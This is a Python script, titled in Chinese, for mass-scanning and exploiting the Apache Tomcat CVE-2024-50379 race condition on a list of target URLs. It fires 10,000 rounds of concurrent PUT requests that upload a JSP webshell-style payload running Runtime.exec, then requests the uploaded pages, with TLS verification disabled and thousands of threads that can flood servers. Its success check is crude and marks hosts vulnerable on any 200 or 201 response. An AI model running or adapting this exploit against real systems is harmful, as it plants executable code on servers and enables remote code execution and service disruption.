Apache Tomcat（CVE-2024-50379）条件竞争致远程代码执行漏洞批量检测脚本

import requests
import urllib3
from urllib.parse import urljoin
import argparse
import ssl
import concurrent.futures

ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    protocols = ['http://', 'https://']
    found_vulnerabilities = False

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
        print(f"Checking {target_url}...")

        target_url_put1 = urljoin(target_url, "/aa.Jsp")
        target_url_put2 = urljoin(target_url, "/bb.Jsp")
        target_url_get1 = urljoin(target_url, "/aa.jsp")
        target_url_get2 = urljoin(target_url, "/bb.jsp")

        headers1 = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Content-Type": "application/json"
        }

        headers2 = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
        payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"

        #增加线程
        with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
            futures = []
            # 循环执行10000次
            for _ in range(10000):  
                futures.append(executor.submit(requests.put, target_url_put1, verify=False, headers=headers1, data=payload_put))
                futures.append(executor.submit(requests.put, target_url_put2, verify=False, headers=headers1, data=payload_put))
                futures.append(executor.submit(requests.get, target_url_get1, verify=False, headers=headers2))
                futures.append(executor.submit(requests.get, target_url_get2, verify=False, headers=headers2))

            for future in concurrent.futures.as_completed(futures):
                try:
                    response = future.result()
                    print(f"Response status: {response.status_code}")
                    if isinstance(response, requests.Response):
                        if (response.status_code == 201) or (response.status_code == 200):
                            found_vulnerabilities = True
                except Exception as e:
                    print(f"Error occurred: {e}")

            if found_vulnerabilities:
                print(f"\033[31mFind: {url}: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!\033[0m")
                return True

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")